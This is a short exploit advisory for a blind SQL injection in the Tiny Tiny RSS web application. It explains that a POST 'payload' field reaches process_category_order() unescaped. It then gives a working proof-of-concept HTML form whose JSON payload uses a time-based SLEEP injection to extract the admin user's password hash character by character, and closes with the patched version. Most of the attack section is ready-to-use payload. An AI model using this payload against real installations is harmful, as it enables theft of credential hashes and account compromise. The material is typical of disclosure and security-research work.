Tiny Tiny RSS Blind SQL Injection

`# Exploit Title: Tiny Tiny RSS Blind SQL Injection  
# Date: 15-02-2016  
# Software Link: http://tt-rss.org/  
# Exploit Author: Kacper Szurek  
# Contact: http://twitter.com/KacperSzurek  
# Website: http://security.szurek.pl/  
# Category: webapps  
  
1. Description  
  
$item_id inside process_category_order() is not properly escaped.  
  
We control this value using $_POST['payload'].  
  
http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html  
  
2. Proof of Concept  
  
Login as regular user.  
  
<form method="post" action="http://tiny-tiny-rss/backend.php">  
<input type="hidden" name="op" value="pref-feeds">  
<input type="hidden" name="method" value="savefeedorder">  
<textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>  
<input type="submit" value="Hack!">  
</form>  
  
3. Solution:  
  
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b  
`